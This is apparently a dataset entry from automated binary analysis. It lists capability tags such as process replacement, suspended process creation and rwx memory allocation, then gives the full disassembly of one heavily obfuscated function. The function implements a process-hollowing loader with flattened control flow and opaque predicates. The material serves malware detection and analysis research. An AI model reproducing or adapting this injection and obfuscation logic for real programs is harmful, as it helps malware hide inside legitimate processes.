Function at 0x10008a40
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x140
mov eax, dword [0x10074800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x148], 0xf49beba2
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x14c], eax
sub eax, 0x80001931
je 0x1000daa5
jmp 0x10008a7c
mov eax, dword [ebp - 0x14c]
sub eax, 0x80a22756
je 0x10016a19
jmp 0x10008a92
mov eax, dword [ebp - 0x14c]
sub eax, 0x814f0432
je 0x10013340
jmp 0x10008aa8
mov eax, dword [ebp - 0x14c]
sub eax, 0x8158c37c
je 0x10016efb
jmp 0x10008abe
mov eax, dword [ebp - 0x14c]
sub eax, 0x8358d31b
je 0x100123c4
jmp 0x10008ad4
mov eax, dword [ebp - 0x14c]
sub eax, 0x841f3183
je 0x10011905
jmp 0x10008aea
mov eax, dword [ebp - 0x14c]
sub eax, 0x8438e566
je 0x100101c4
jmp 0x10008b00
mov eax, dword [ebp - 0x14c]
sub eax, 0x849199bf
je 0x1000da88
jmp 0x10008b16
mov eax, dword [ebp - 0x14c]
sub eax, 0x84a3d938
je 0x10016504
jmp 0x10008b2c
mov eax, dword [ebp - 0x14c]
sub eax, 0x84ab470f
je 0x1001561a
jmp 0x10008b42
mov eax, dword [ebp - 0x14c]
sub eax, 0x8555534c
je 0x10013b86
jmp 0x10008b58
mov eax, dword [ebp - 0x14c]
sub eax, 0x8559b72e
je 0x1001451f
jmp 0x10008b6e
mov eax, dword [ebp - 0x14c]
sub eax, 0x8565a76c
je 0x10016877
jmp 0x10008b84
mov eax, dword [ebp - 0x14c]
sub eax, 0x86bc691c
je 0x10011436
jmp 0x10008b9a
mov eax, dword [ebp - 0x14c]
sub eax, 0x87071e36
je 0x10013812
jmp 0x10008bb0
mov eax, dword [ebp - 0x14c]
sub eax, 0x87165b9e
je 0x1000f237
jmp 0x10008bc6
mov eax, dword [ebp - 0x14c]
sub eax, 0x8758ccf4
je 0x1000e40a
jmp 0x10008bdc
mov eax, dword [ebp - 0x14c]
sub eax, 0x88999692
je 0x1001233f
jmp 0x10008bf2
mov eax, dword [ebp - 0x14c]
sub eax, 0x88f44e10
je 0x10010705
jmp 0x10008c08
mov eax, dword [ebp - 0x14c]
sub eax, 0x88fd7c87
je 0x10014177
jmp 0x10008c1e
mov eax, dword [ebp - 0x14c]
sub eax, 0x88fe1770
je 0x10013c61
jmp 0x10008c34
mov eax, dword [ebp - 0x14c]
sub eax, 0x893b6351
je 0x10011da3
jmp 0x10008c4a
mov eax, dword [ebp - 0x14c]
sub eax, 0x89e7679a
je 0x1000ec13
jmp 0x10008c60
mov eax, dword [ebp - 0x14c]
sub eax, 0x8a14d2d6
je 0x1001444e
jmp 0x10008c76
mov eax, dword [ebp - 0x14c]
sub eax, 0x8a503187
je 0x10016550
jmp 0x10008c8c
mov eax, dword [ebp - 0x14c]
sub eax, 0x8ac5d59b
je 0x100162b6
jmp 0x10008ca2
mov eax, dword [ebp - 0x14c]
sub eax, 0x8add9123
je 0x1000df3d
jmp 0x10008cb8
mov eax, dword [ebp - 0x14c]
sub eax, 0x8b084d78
je 0x1001123d
jmp 0x10008cce
mov eax, dword [ebp - 0x14c]
sub eax, 0x8ba55f51
je 0x1000fdd6
jmp 0x10008ce4
mov eax, dword [ebp - 0x14c]
sub eax, 0x8bd85faf
je 0x1000f100
jmp 0x10008cfa
mov eax, dword [ebp - 0x14c]
sub eax, 0x8c5bed67
je 0x10012e22
jmp 0x10008d10
mov eax, dword [ebp - 0x14c]
sub eax, 0x8cbca617
je 0x10015f9c
jmp 0x10008d26
mov eax, dword [ebp - 0x14c]
sub eax, 0x8d234fe0
je 0x1000ccb6
jmp 0x10008d3c
mov eax, dword [ebp - 0x14c]
sub eax, 0x8d37d962
je 0x1000cdc2
jmp 0x10008d52
mov eax, dword [ebp - 0x14c]
sub eax, 0x8da4dc23
je 0x10014e66
jmp 0x10008d68
mov eax, dword [ebp - 0x14c]
sub eax, 0x8e4a44bd
je 0x1001377b
jmp 0x10008d7e
mov eax, dword [ebp - 0x14c]
sub eax, 0x8eb8b65a
je 0x100100fc
jmp 0x10008d94
mov eax, dword [ebp - 0x14c]
sub eax, 0x8ec36249
je 0x10017041
jmp 0x10008daa
mov eax, dword [ebp - 0x14c]
sub eax, 0x8f8f0714
je 0x1000edac
jmp 0x10008dc0
mov eax, dword [ebp - 0x14c]
sub eax, 0x8fdacb8b
je 0x1000d5ba
jmp 0x10008dd6
mov eax, dword [ebp - 0x14c]
sub eax, 0x909bc91e
je 0x1000f506
jmp 0x10008dec
mov eax, dword [ebp - 0x14c]
sub eax, 0x911584f7
je 0x100148ff
jmp 0x10008e02
mov eax, dword [ebp - 0x14c]
sub eax, 0x91b3e881
je 0x10013ebb
jmp 0x10008e18
mov eax, dword [ebp - 0x14c]
sub eax, 0x91e6ecaf
je 0x10012f65
jmp 0x10008e2e
mov eax, dword [ebp - 0x14c]
sub eax, 0x9213a271
je 0x100170b6
jmp 0x10008e44
mov eax, dword [ebp - 0x14c]
sub eax, 0x921bb7d6
je 0x10010b22
jmp 0x10008e5a
mov eax, dword [ebp - 0x14c]
sub eax, 0x9252a967
je 0x10016479
jmp 0x10008e70
mov eax, dword [ebp - 0x14c]
sub eax, 0x925d5e64
je 0x10012695
jmp 0x10008e86
mov eax, dword [ebp - 0x14c]
sub eax, 0x92866fc2
je 0x100161f0
jmp 0x10008e9c
mov eax, dword [ebp - 0x14c]
sub eax, 0x92abeb14
je 0x10012fdf
jmp 0x10008eb2
mov eax, dword [ebp - 0x14c]
sub eax, 0x93a89d7f
je 0x10013960
jmp 0x10008ec8
mov eax, dword [ebp - 0x14c]
sub eax, 0x93fb4ead
je 0x1000fe5c
jmp 0x10008ede
mov eax, dword [ebp - 0x14c]
sub eax, 0x94cf5849
je 0x10015db0
jmp 0x10008ef4
mov eax, dword [ebp - 0x14c]
sub eax, 0x94d5f15a
je 0x1000f6f3
jmp 0x10008f0a
mov eax, dword [ebp - 0x14c]
sub eax, 0x957df203
je 0x1000fd8d
jmp 0x10008f20
mov eax, dword [ebp - 0x14c]
sub eax, 0x964e206e
je 0x10012f36
jmp 0x10008f36
mov eax, dword [ebp - 0x14c]
sub eax, 0x96880792
je 0x10014d93
jmp 0x10008f4c
mov eax, dword [ebp - 0x14c]
sub eax, 0x9792d2c4
je 0x100111f2
jmp 0x10008f62
mov eax, dword [ebp - 0x14c]
sub eax, 0x97eeaf75
je 0x1001645a
jmp 0x10008f78
mov eax, dword [ebp - 0x14c]
sub eax, 0x9819134f
je 0x1001701a
jmp 0x10008f8e
mov eax, dword [ebp - 0x14c]
sub eax, 0x9859c020
je 0x1000e081
jmp 0x10008fa4
mov eax, dword [ebp - 0x14c]
sub eax, 0x98e657b6
je 0x10012b49
jmp 0x10008fba
mov eax, dword [ebp - 0x14c]
sub eax, 0x9a38a987
je 0x1001486b
jmp 0x10008fd0
mov eax, dword [ebp - 0x14c]
sub eax, 0x9ab8cb19
je 0x10015b21
jmp 0x10008fe6
mov eax, dword [ebp - 0x14c]
sub eax, 0x9b6cb1f2
je 0x100113db
mov dword [ebp - 0x148], 0x621254ed
jmp 0x10017146
movss xmm0, dword [0x100247d8]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x148], 0x61b0b364
jmp 0x10017146
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcc5e2d7a
mov ecx, 0x30db9962
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov dl, 1
mov eax, 0x280f211b
mov ecx, 0x80001931
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0xabc8ea12
sub edx, 1
add edx, 0xabc8ea12
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x97eeaf75
mov ecx, 0x65f5822c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfa8a66d0
mov ecx, 0xb018c253
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov dword [ebp - 0x148], 0xa8648118
jmp 0x10017146
movss xmm0, dword [0x1002476c]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x148], 0x43fdefc8
jmp 0x10017146
movss xmm0, dword [0x100244cc]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x100244c8]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x100244c4]
movss dword [ebp - 0x108], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6f783462
mov ecx, 0x383dc8f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov dl, 1
mov eax, 0xea00d35e
mov ecx, 0x22ebb10f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
movss xmm0, dword [0x100244b4]
movss dword [ebp - 0x108], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb15d1b7
mov ecx, 0xa04714a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov dword [ebp - 0x148], 0x28f552d3
jmp 0x10017146
movss xmm0, dword [0x100244a8]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x100244a4]
movss dword [ebp - 0x108], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd3da4047
mov ecx, 0xb445cc94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
movss xmm0, dword [0x10024724]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10024720]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x1002471c]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x148], 0xc4603292
jmp 0x10017146
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x23276689
mov ecx, 0x8ba55f51
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
movss xmm0, dword [0x10024480]
movss dword [ebp - 0x10c], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
add edx, 0x3a63d8f3
sub edx, 1
sub edx, 0x3a63d8f3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x23276689
mov ecx, 0x93fb4ead
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov dword [ebp - 0x148], 0x627a5cc6
jmp 0x10017146
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0x2569bbb6
sub edx, 1
sub edx, 0x2569bbb6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8565a76c
mov ecx, 0xbf2ad5a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov dl, 1
mov eax, 0x5cd83ee4
mov ecx, 0x4efb2f58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov dl, 1
mov eax, 0x6fdfb9f
mov ecx, 0x4defa92a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0x17ff057b
sub edx, 1
sub edx, 0x17ff057b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b19c5e3
mov ecx, 0x6e2b698b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov dword [ebp - 0x148], 0x6b05fdd5
jmp 0x10017146
movss xmm0, dword [0x10024690]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x1002468c]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x148], 0x3c025cf5
jmp 0x10017146
movss xmm0, dword [0x10024670]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x1002466c]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x10024668]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x148], 0xb4e0a115
jmp 0x10017146
movss xmm0, dword [0x10024438]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x10024434]
movss dword [ebp - 0x11c], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0x988bf4da
sub edx, 1
sub edx, 0x988bf4da
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5f3eac3a
mov ecx, 0x62000a35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x609da360
mov ecx, 0xff97c20
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov dword [ebp - 0x148], 0x54e53c56
jmp 0x10017146
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x79b73f51
mov ecx, 0xebc7c3aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
movss xmm0, dword [0x10024608]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x148], 0xfe657b5
jmp 0x10017146
movss xmm0, dword [0x100245f0]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x100245ec]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x100245e8]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x148], 0x44b3ed1a
jmp 0x10017146
movss xmm0, dword [0x100245e0]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x100245dc]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x148], 0x1af8b3b2
jmp 0x10017146
movss xmm0, dword [0x100245d4]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x100245d0]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x148], 0x91e6ecaf
jmp 0x10017146
mov dword [ebp - 0x148], 0xfcbe0467
jmp 0x10017146
mov dword [ebp - 0x148], 0xc1eb355e
jmp 0x10017146
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x21f9c7ee
mov ecx, 0xe8482e6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov dl, 1
mov eax, 0x13761f0c
mov ecx, 0x1de1814
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0x627b84b7
sub edx, 1
add edx, 0x627b84b7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2f0d1c00
mov ecx, 0xa2ef311e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
movss xmm0, dword [0x100243d4]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100243d0]
movss dword [ebp - 0x130], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0xaccc9792
sub edx, 1
sub edx, 0xaccc9792
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d39c3
mov ecx, 0x479c43ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
movss xmm0, dword [0x100243c8]
movss dword [ebp - 0x130], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0xd4cf0197
sub edx, 1
sub edx, 0xd4cf0197
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbc5fdb21
mov ecx, 0xe170f57e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb014b058
mov ecx, 0x1e611377
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf4cf9a13
mov ecx, 0x22cf362f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov dword [ebp - 0x148], 0x252f08fe
jmp 0x10017146
movss xmm0, dword [0x10024530]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x148], 0x31e5f68d
jmp 0x10017146
movss xmm0, dword [0x100243b8]
movss dword [ebp - 0x134], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa50bfcf3
mov ecx, 0x52370dd6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x49800
call fcn.10001020
add esp, 8
lea eax, section..data
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x148], 0xbc4babb2
jmp 0x10017146
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x13c]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xa1], al
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0xc7c7e44
sub edx, 1
add edx, 0xc7c7e44
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf6753a9d
mov ecx, 0x5fd950c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10008270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x148], 0x1848348
jmp 0x10017146
mov eax, dword [ebp - 0x88]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov dword [ebp - 0x148], 0x2d3da66
jmp 0x10017146
mov eax, dword [ebp - 0xdc]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x51], al
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf9c335bc
mov ecx, 0xd699af48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov dl, byte [ebp - 0x2d]
mov eax, 0x19303b27
mov ecx, 0x4c4f375a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf380b28
mov ecx, 0x14c6fc30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10017146
mov dword [ebp - 0x148], 0xb50305e0
jmp 0x10017146
mov dword [ebp - 0x148], 0x414f7da6
jmp 0x10017146
mov dword [ebp - 0x148], 0x7a22d992
jmp 0x10017146
movss xmm0, dword [0x100244f4]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x148], 0x65f5822c
jmp 0x10017146
movss xmm0, dword [0x100244f0]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x148], 0xd150d9e9
jmp 0x10017146
movss xmm0, dword [0x100244e0]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x148], 0x185fe427
jmp 0x10017146
movss xmm0, dword [0x100244dc]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100244d8]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x148], 0x78dcf487
jmp 0x10017146
mov dword [ebp - 0x148], 0xbf2ad5a8
jmp 0x10017146
mov dword [ebp - 0x148], 0x35806a82
jmp 0x10017146
movss xmm0, dword [0x100243b0]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x148], 0x4fdf2e9c
jmp 0x10017146
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x148], 0x4924456d
jmp 0x10017146
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov dword [ebp - 0x148], 0x1ec4bddf
jmp 0x10017146
mov dword [ebp - 0x148], 0xe34ec215
jmp 0x10017146
jmp 0x10008a60